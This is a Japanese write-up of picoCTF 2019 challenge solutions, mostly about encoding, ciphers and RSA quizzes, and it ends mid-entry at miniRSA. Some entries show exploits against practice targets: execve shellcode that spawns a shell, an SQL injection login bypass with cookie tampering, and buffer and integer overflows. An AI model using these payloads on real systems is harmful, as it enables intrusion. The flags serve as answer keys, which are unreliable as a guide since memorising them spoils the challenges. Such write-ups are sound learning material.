picoCTF 2019 Writeup

この大会は2019/9/28 2:00(JST)~2019/10/12 2:00(JST)に開催されました。
今回もチームで参戦。結果は34201点の満点で16308チーム中12位でした。
自分で解けた問題をWriteupとして書いておきます。

2Warm (General Skills 50)

10進数の42を2進数表記にする問題。

>>> bin(42)[2:]
'101010'
picoCTF{101010}

Glory of the Garden (Forensics 50)

jpgファイルが添付されている。stringsで含まれている文字列から検索してみる。

$ strings garden.jpg | grep picoCTF
Here is a flag "picoCTF{more_than_m33ts_the_3y3DBce41ae}"
picoCTF{more_than_m33ts_the_3y3DBce41ae}

Insp3ct0r (Web Exploitation 50)

HTMLソースを見ると、コメントにフラグの一部が見つかる。

<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->

リンクされているcssを見ると、コメントにフラグの一部が見つかる。

/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */

リンクされているjsを見ると、コメントにフラグの一部が見つかる。

/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?78ec625e} */

結合すると、フラグになる。

picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?78ec625e}

Lets Warm Up (General Skills 50)

16進数0x70をASCII文字にする問題。

>>> chr(0x70)
'p'
picoCTF{p}

The Numbers (Cryptography 50)

アルファベット文字のインデックスが書いてあるので、アルファベット文字にしていく。

         11111111112222222
12345678901234567890123456
ABCDEFGHIJKLMNOPQRSTUVWXYZ

picoCTF{thenumbersmason}では通らなかった。Hintsを見ると、フラグ形式はPICOCTF{}ということなので、大文字にする必要がありそう。

PICOCTF{THENUMBERSMASON}

Warmed Up (General Skills 50)

16進数の0x3Dを10進数表記にする問題。

>>> 0x3D
61
picoCTF{61}

handy-shellcode (Binary Exploitation 50)

シェルコードを流す必要がある。

xxxxxxxx@pico-2019-shell1:~$ cd /problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100
xxxxxxxx@pico-2019-shell1:/problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100$ ls
flag.txt  vuln  vuln.c
xxxxxxxx@pico-2019-shell1:/problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100$ uname -a
Linux pico-2019-shell1 4.15.0-1050-aws #52-Ubuntu SMP Thu Sep 12 19:56:00 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
xxxxxxxx@pico-2019-shell1:/problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100$ file vuln
vuln: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=7b65fbf1fba331b6b09a6812a338dbb1118e68e9, not stripped

http://shell-storm.org/shellcode/files/shellcode-237.phpを参考にする。

xxxxxxxx@pico-2019-shell1:/problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100$ (echo -e "\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1"; cat) | ./vuln
Enter your shellcode:
h̀hh��hj
       X1�Rh//shh/bin��RS����
Thanks! Executing now...
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_9b59d33c}
picoCTF{h4ndY_d4ndY_sh311c0d3_9b59d33c}

practice-run-1 (Binary Epxloitation 50)

実行するだけ。

$ ./run_this 
picoCTF{g3t_r3adY_2_r3v3r53}
picoCTF{g3t_r3adY_2_r3v3r53}

unzip (Forensics 50)

$ unzip flag.zip
Archive:  flag.zip
  inflating: flag.png

pngファイルにフラグが書いてあった。
f:id:satou-y:20191014194937p:plain

picoCTF{unz1pp1ng_1s_3a5y}

vault-door-training (Reverse Engineering 50)

javaファイルが添付されている。このソースコードにフラグが書いてあった。

picoCTF{w4rm1ng_Up_w1tH_jAv4_ba382529688}

13 (Cryptography 100)

ROT13。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

picoCTF{not_too_bad_of_a_problem}

Bases (General Skills 100)

Base64デコードをする。

$ echo bDNhcm5fdGgzX3IwcDM1 | base64 -d
l3arn_th3_r0p35
picoCTF{l3arn_th3_r0p35}

Easy1 (Cryptography 100)

tableはVigenere暗号を示している。tableを見ながらUFJKXQZQUNBをSOLVECRYPTOで復号する。

UFJKXQZQUNB
SOLVECRYPTO
CRYPTOISFUN
picoCTF{CRYPTOISFUN}

First Grep (General Skills 100)

ファイルが添付されている。フラグを検索すればよい。

$ cat file | grep picoCTF
picoCTF{grep_is_good_to_find_things_fce80031}
picoCTF{grep_is_good_to_find_things_fce80031}

OverFlow 0 (Binary Exploitation 100)

bufは128バイトだけあるので、それを大幅に超えると、フラグが表示されるはず。

xxxxxxxx@pico-2019-shell1:~$ cd /problems/overflow-0_3_e217dae547cccbfeb9dbae42623404b7
xxxxxxxx@pico-2019-shell1:/problems/overflow-0_3_e217dae547cccbfeb9dbae42623404b7$ ls
flag.txt  vuln  vuln.c
xxxxxxxx@pico-2019-shell1:/problems/overflow-0_3_e217dae547cccbfeb9dbae42623404b7$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{3asY_P3a5y40407786}
picoCTF{3asY_P3a5y40407786}

Resources (General Skills 100)

https://picoctf.com/resourcesのページにフラグが書かれている。

picoCTF{r3source_pag3_f1ag}

caesar (Cryptography 100)

{}の中だけシーザー暗号としてhttps://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 5:
crossingtherubiconeyocnzoa
picoCTF{crossingtherubiconeyocnzoa}

dont-use-client-side (Web Exploitation 100)

HTMLソースを見ると、以下のスクリプトがある。

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(0, split) == 'pico') {
      if (checkpass.substring(split*6, split*7) == 'ae13') {
        if (checkpass.substring(split, split*2) == 'CTF{') {
         if (checkpass.substring(split*4, split*5) == 'ts_p') {
          if (checkpass.substring(split*3, split*4) == 'lien') {
            if (checkpass.substring(split*5, split*6) == 'lz_e') {
              if (checkpass.substring(split*2, split*3) == 'no_c') {
                if (checkpass.substring(split*7, split*8) == '7}') {
                  alert("Password Verified")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
    
  }
</script>

部分文字列で比較しているので、順番を正しく並び替えつなげる。

picoCTF{no_clients_plz_eae137}

logon (Web Exploitation 100)

Usernameに ' or 1=1 # と入れて、Sign Inする。すると、No flag for youと表示されている。
クッキーを見てみると、adminがFalseになっているので、Trueにしてみると、フラグが表示された。
f:id:satou-y:20191014205430p:plain

picoCTF{th3_c0nsp1r4cy_l1v3s_5ff962c0}

strings it (General Skills 100)

$ strings strings | grep picoCTF
picoCTF{5tRIng5_1T_d169bb92}
picoCTF{5tRIng5_1T_d169bb92}

vault-door-1 (Reverse Engineering 100)

javaファイルが添付されている。

        :
    public boolean checkPassword(String password) {
        return password.length() == 32 &&
               password.charAt(0)  == 'd' &&
               password.charAt(29) == '1' &&
               password.charAt(4)  == 'r' &&
               password.charAt(2)  == '5' &&
               password.charAt(23) == 'r' &&
               password.charAt(3)  == 'c' &&
               password.charAt(17) == '4' &&
               password.charAt(1)  == '3' &&
               password.charAt(7)  == 'b' &&
               password.charAt(10) == '_' &&
               password.charAt(5)  == '4' &&
               password.charAt(9)  == '3' &&
               password.charAt(11) == 't' &&
               password.charAt(15) == 'c' &&
               password.charAt(8)  == 'l' &&
               password.charAt(12) == 'H' &&
               password.charAt(20) == 'c' &&
               password.charAt(14) == '_' &&
               password.charAt(6)  == 'm' &&
               password.charAt(24) == '5' &&
               password.charAt(18) == 'r' &&
               password.charAt(13) == '3' &&
               password.charAt(19) == '4' &&
               password.charAt(21) == 'T' &&
               password.charAt(16) == 'H' &&
               password.charAt(27) == 'a' &&
               password.charAt(30) == 'f' &&
               password.charAt(25) == '_' &&
               password.charAt(22) == '3' &&
               password.charAt(28) == '7' &&
               password.charAt(26) == '0' &&
               password.charAt(31) == '0';
    }
        :

パスワードを1文字ずつ比較している。正しい順に並べる。

          1111111111222222222233
01234567890123456789012345678901
d35cr4mbl3_tH3_cH4r4cT3r5_0a71f0
picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_0a71f0}

what's a net cat? (General Skills 100)

ncコマンドで接続するだけ。

$ nc 2019shell1.picoctf.com 49816
You're on your way to becoming the net cat master
picoCTF{nEtCat_Mast3ry_de552a4a}
picoCTF{nEtCat_Mast3ry_de552a4a}

where are the robots (Web Exploitation 100)

https://2019shell1.picoctf.com/problem/12267/robots.txtにアクセスする。

User-agent: *
Disallow: /8b71f.html

次にhttps://2019shell1.picoctf.com/problem/12267/8b71f.htmlにアクセスすると、フラグが表示された。

Guess you found the robots
picoCTF{ca1cu1at1ng_Mach1n3s_8b71f}
picoCTF{ca1cu1at1ng_Mach1n3s_8b71f}

What Lies Within (Forensics 150)

Stegsolveで開き、[Analyze]-[Data Extract]でRGBすべて0にチェックを入れると、フラグが出てくる。

picoCTF{h1d1ng_1n_th3_b1t5}

Based (General Skills 200)

2進数、8進数、16進数コードを文字にする問題。

import socket
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

pattern = 'the (.+) as a word'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('2019shell1.picoctf.com', 7380))

data = recvuntil(s, ':')
m = re.search(pattern, data.split('\n')[2])
codes = m.group(1).split(' ')
ans = ''
for code in codes:
    ans += chr(int(code, 2))
print data + ans
s.sendall(ans + '\n')

data = recvuntil(s, ':')
m = re.search(pattern, data.split('\n')[1])
codes = m.group(1)[1:].split(' ')
ans = ''
for code in codes:
    ans += chr(int(code, 8))
print data + ans
s.sendall(ans + '\n')

data = recvuntil(s, ':')
m = re.search(pattern, data.split('\n')[1])
code = m.group(1)
ans = code.decode('hex')
print data + ans
s.sendall(ans + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Let us see how data is stored
oven
Please give the 01101111 01110110 01100101 01101110 as a word.
...
you have 45 seconds.....

Input:oven

Please give me the  160 145 141 162 as a word.
Input:pear

Please give me the 7375626d6172696e65 as a word.
Input:submarine

You've beaten the challenge

C:\CTF\大会\70_picoCTF\30_Based(General Skills 200)>solve.py
Let us see how data is stored
submarine
Please give the 01110011 01110101 01100010 01101101 01100001 01110010 01101001 01101110 01100101 as a word.
...
you have 45 seconds.....

Input:submarine

Please give me the  164 145 163 164 as a word.
Input:test

Please give me the 736c75646765 as a word.
Input:sludge

You've beaten the challenge
Flag: picoCTF{learning_about_converting_values_8e70d435}
picoCTF{learning_about_converting_values_8e70d435}

First Grep: Part II (General Skills 200)

無数にあるファイルの中からフラグを探す。

xxxxxxxx@pico-2019-shell1:~$ cd /problems/first-grep--part-ii_1_49b202cd63f432b71d964b35f3912ff9/files
xxxxxxxx@pico-2019-shell1:/problems/first-grep--part-ii_1_49b202cd63f432b71d964b35f3912ff9/files$ ls
files0  files1  files10  files2  files3  files4  files5  files6  files7  files8  files9
xxxxxxxx@pico-2019-shell1:/problems/first-grep--part-ii_1_49b202cd63f432b71d964b35f3912ff9/files$ grep -r picoCTF ./
./files1/file3:picoCTF{grep_r_to_find_this_142b9c9e}
picoCTF{grep_r_to_find_this_142b9c9e}

Flags (Cryptography 200)

国際信号旗 https://ja.wikipedia.org/wiki/%E5%9B%BD%E9%9A%9B%E4%BF%A1%E5%8F%B7%E6%97%97 を参考に置き換えていく。

PICOCTF{F1AG5AND5TUFF}

Mr-Worldwide (Cryptography 200)

messageの中はこうなっている。

picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}

緯度と経度表しているようなので、Goggle Mapで調べる。都市の名称の頭文字を並べてみる。

35.028309, 135.753082	K(京都市)
46.469391, 30.740883	O(オデッサ)
39.758949, -84.191605	D(Dayton)
41.015137, 28.979530	I(イスタンブール)
24.466667, 54.366669	A(Abu Dhabi)
3.140853, 101.693207	K(Kuala Lumpur)
_
9.005401, 38.763611	A(Addis Ababa)
  • 3.989038, -79.203560 L(Loja)
52.377956, 4.897070 A(Amsterdam) 41.085651, -73.858467 S(Sleepy Hollow) 57.790001, -152.407227 K(Kodiak) 31.205753, 29.924526 A(Alexandria)
picoCTF{KODIAK_ALASKA}

Tapping (Cryptography 200)

$ nc 2019shell1.picoctf.com 54035
.--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. .---- -.... .---- ---.. ----. ----. -.... --... --... ..... }

モールス信号のようなので、デコードする。

PICOCTF{M0RS3C0D31SFUN1618996775}

la cifra de (Cryptography 200)

$ nc 2019shell1.picoctf.com 60147
Encrypted message:
Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk

Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd

Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo 

Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xg36805q5}

Tnj qixxe wkqw-duhfmkseej ipsiwtpznzn uk l puqjarusahjeii htpnjc hubpvkw, hay rldk fcoaso 1467 be Qpot Gltzndtg Fwbkwei.

Zmp Volpnèxj Nivmpr ox ehkwpfuwp surptorps ifwlki ehk Fwbkwei Jndc uw Llhjcto Htpnjc.

It 1508, Ozhgsyey Ycizmpmozd itapnzjo tnj do-ifwlki eahzwa xjntg (f xazwtx uk dhokeej fwpnfmezx) ehgy hoaqo lgypr hj l cxneiifw curaotjyt uk ehk Atgksèce Inahkw.

Merqlsu’x deityd htzkrje avupaxjo it 1555 fd a itytosfaznzn uk ehk ktryy. Ehk qzwkw saraps uk ehk fwpnfmezx lrk szw ymtfzjo rklflgwwy, hze tnj llvmlbkyd ati ehk nydkc wezypry fce sniej gj mkfys uk l mtjxotnn kkd ahxfde, cmtcn hln hj oilkprkse woys eghs cuwceyuznjjyt.

quipqiupで復号してみたが、うまくいかない。
Vigenere暗号かもしれない。https://www.guballa.de/vigenere-solverで復号すると、key = flagで復号できた。

It is interesting how in history people often receive credit for things they did not create

During the course of history, the Vigenère Cipher has been reinvented many times

It was falsely attributed to Blaise de Vigenère as it was originally described in 1553 by Giovan Battista Bellaso in his book La cifra del. Sig. Giovan Battista Bellaso 

For the implementation of this cipher a table is formed by sliding the lower half of an ordinary alphabet for an apparently random number of places with respect to the upper halfpicoCTF{b311a50_0r_v1gn3r3_c1ph3rb36805f5}

The first well-documented description of a polyalphabetic cipher however, was made around 1467 by Leon Battista Alberti.

The Vigenère Cipher is therefore sometimes called the Alberti Disc or Alberti Cipher.

In 1508, Johannes Trithemius invented the so-called tabula recta (a matrix of shifted alphabets) that would later be a critical component of the Vigenère Cipher.

Bellaso’s second booklet appeared in 1555 as a continuation of the first. The lower halves of the alphabets are now shifted regularly, but the alphabets and the index letters are mixed by means of a mnemonic key phrase, which can be different with each correspondent.

長文の中にフラグが含まれていた。

picoCTF{b311a50_0r_v1gn3r3_c1ph3rb36805f5}

picobrowser (Web Exploitation 200)

Flagボタンを押すと、以下のように表示される。

You're not picobrowser! Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36

UserAgentをpicobrowserにしてアクセスする。

$ curl -A "picobrowser" https://2019shell1.picoctf.com/problem/32205/flag<!DOCTYPE html>
<html lang="en">

<head>
    <title>My New Website</title>


    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

</head>

<body>
        :
     
        <div class="jumbotron">
            <p class="lead"></p>
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{p1c0_s3cr3t_ag3nt_665ad8a4}</code></p>
            <!-- <p><a class="btn btn-lg btn-success" href="admin" role="button">Click here for the flag!</a> -->
            <!-- </p> -->
        </div>
        :
</body>
picoCTF{p1c0_s3cr3t_ag3nt_665ad8a4}

plumbing (General Skills 200)

$ nc 2019shell1.picoctf.com 13203
    :
Not a flag either
Again, I really don't think this is a flag
This is defintely not a flag
Not a flag either
Again, I really don't think this is a flag
I don't think this is a flag either
Again, I really don't think this is a flag
This is defintely not a flag
This is defintely not a flag
Not a flag either

長い文章が表示される。フラグが埋もれているのか。。。

$ nc 2019shell1.picoctf.com 13203 | grep picoCTF
picoCTF{digital_plumb3r_2d92ccad}
picoCTF{digital_plumb3r_2d92ccad}

rsa-pop-quiz (Cryptography 200)

$ nc 2019shell1.picoctf.com 41419
Good morning class! It's me Ms. Adleman-Shamir-Rivest
Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do!
You will need to tell me if each example is possible, given your extensive crypto knowledge.
Inputs and outputs are in decimal. No hex here!
#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):

次々と出るRSA暗号の問題に答えていく。

import socket
import re
from Crypto.Util.number import inverse, long_to_bytes

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('2019shell1.picoctf.com', 41419))

#### 1st Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'q : (.+)\np : (.+)\n'
m = re.search(pattern, data)
q = int(m.group(1))
p = int(m.group(2))
s.sendall('Y\n')
data = recvuntil(s, ': ')
n = p * q
print data + str(n)
s.sendall(str(n) + '\n')

#### 2nd Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'p : (.+)\nn : (.+)\n'
m = re.search(pattern, data)
p = int(m.group(1))
n = int(m.group(2))
s.sendall('Y\n')
data = recvuntil(s, ': ')
q = n / p
print data + str(q)
s.sendall(str(q) + '\n')

#### 3rd Question ####
data = recvuntil(s, '(Y/N):')
print data + 'N'
s.sendall('N\n')

#### 4th Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'q : (.+)\np : (.+)\n'
m = re.search(pattern, data)
q = int(m.group(1))
p = int(m.group(2))
s.sendall('Y\n')
data = recvuntil(s, ': ')
phi = (p - 1) * (q - 1)
print data + str(phi)
s.sendall(str(phi) + '\n')

#### 5th Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'plaintext : (.+)\ne : (.+)\nn : (.+)\n'
m = re.search(pattern, data)
plaintext = int(m.group(1))
e = int(m.group(2))
n = int(m.group(3))
s.sendall('Y\n')
data = recvuntil(s, ': ')
ciphertext = pow(plaintext, e, n)
print data + str(ciphertext)
s.sendall(str(ciphertext) + '\n')

#### 6th Question ####
data = recvuntil(s, '(Y/N):')
print data + 'N'
s.sendall('N\n')

#### 7th Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'q : (.+)\np : (.+)\ne : (.+)\n'
m = re.search(pattern, data)
q = int(m.group(1))
p = int(m.group(2))
e = int(m.group(3))
s.sendall('Y\n')
data = recvuntil(s, ': ')
d = inverse(e, (p - 1) * (q - 1))
print data + str(d)
s.sendall(str(d) + '\n')

#### 8th Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'p : (.+)\nciphertext : (.+)\ne : (.+)\nn : (.+)\n'
m = re.search(pattern, data)
p = int(m.group(1))
ciphertext = int(m.group(2))
e = int(m.group(3))
n = int(m.group(4))
s.sendall('Y\n')
data = recvuntil(s, ': ')
q = n / p
d = inverse(e, (p - 1) * (q - 1))
plaintext = pow(ciphertext, d, n)
print data + str(plaintext)
s.sendall(str(plaintext) + '\n')

#### 9th Question ####
data = recvuntil(s, '\n').rstrip()
print data

flag = long_to_bytes(plaintext)
print flag

実行結果は以下の通り。

Good morning class! It's me Ms. Adleman-Shamir-Rivest
Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do!
You will need to tell me if each example is possible, given your extensive crypto knowledge.
Inputs and outputs are in decimal. No hex here!
#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
n: 4636878989
Outstanding move!!!


#### NEW PROBLEM ####
p : 54269
n : 5051846941
##### PRODUCE THE FOLLOWING ####
q
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
q: 93089
Outstanding move!!!


#### NEW PROBLEM ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### PRODUCE THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):N
Outstanding move!!!


#### NEW PROBLEM ####
q : 66347
p : 12611
##### PRODUCE THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
totient(n): 836623060
Outstanding move!!!


#### NEW PROBLEM ####
plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### PRODUCE THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
ciphertext: 256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813
Outstanding move!!!


#### NEW PROBLEM ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):N
Outstanding move!!!


#### NEW PROBLEM ####
q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e : 65537
##### PRODUCE THE FOLLOWING ####
d
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
Outstanding move!!!


#### NEW PROBLEM ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 8912882894646477583454400348236949058408670778744442818353012222042704790879165392413810328434533368815401434692827900563837944856583984017045434173517835510534863601509861876262293451989744597349091994595760185764333735091480503448088436097657524149680261104923328031607034461748330117736923628217810237001904970100233374072370798557334762121915597337917057515027501014733191532748462090056478750401553590065462709681170356782711617016194732353713320019986821739812673882662012559538250121292704157394353123692274271534900743227359399642267919801422429794696591531158171247660081469493682602542320633913133396204317
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
plaintext: 14311663942709674867122208214901970650496788151239520971623411712977120623143718109924440445
Outstanding move!!!
picoCTF{wA8_th4t$_ill3aGal..offd14229}
picoCTF{wA8_th4t$_ill3aGal..offd14229}

vault-door-4 (Reverse Engineering 250)

javaファイルが添付されている。フラグに関係がある部分は以下のようになっている。

    public boolean checkPassword(String password) {
        byte[] passBytes = password.getBytes();
        byte[] myBytes = {
            106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
            0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
            0142, 0131, 0164, 063 , 0163, 0137, 0141, 065 ,
            '8' , '8' , '4' , '4' , 'e' , '5' , 'e' , '1' ,
        };
        for (int i=0; i<32; i++) {
            if (passBytes[i] != myBytes[i]) {
                return false;
            }
        }
        return true;
    }

この値と比較していることからフラグを導き出す。

codes = [
    106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
    0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
    0142, 0131, 0164, 063 , 0163, 0137, 0141, 065 ,
    '8' , '8' , '4' , '4' , 'e' , '5' , 'e' , '1' 
]

flag = ''
for i in range(len(codes)):
    if i < 24:
        flag += chr(codes[i])
    else:
        flag += codes[i]

flag = 'picoCTF{%s}' % flag
print flag
picoCTF{jU5t_4_bUnCh_0f_bYt3s_a58844e5e1}

flag_shop (General Skills 300)

cのソースコードが添付されていて、ncで接続する問題になっている。ソースコードを読むと、サーバ処理の概要は以下のようになっていることがわかる。

account_balance初期値:1100

■1
・account_balance表示

■2
・1を選択した場合
 ・number_flagsを入力
 ・900*number_flagsがaccount_balanceより小さければ、900*number_flagsをaccount_balanceから引く
・2を選択した場合
 ・account_balanceが100000より大きければフラグを表示

■3
・exit

intのオーバーフローを使うようだ。

$ nc 2019shell1.picoctf.com 8376
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
4772000

The final cost is: -167296

Your current balance after transaction: 168396

Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
1



 Balance: 168396 


Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
2
1337 flags cost 100000 dollars, and we only have 1 in stock
Enter 1 to buy one1
YOUR FLAG IS: picoCTF{m0n3y_bag5_6f3a913a}
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
picoCTF{m0n3y_bag5_6f3a913a}

miniRSA (Cryptography 300)

RSA暗号でN, e, cが与えられている。Nが非常に大きく、eが小さいため、cのe乗根を取って復号する。

import gmpy
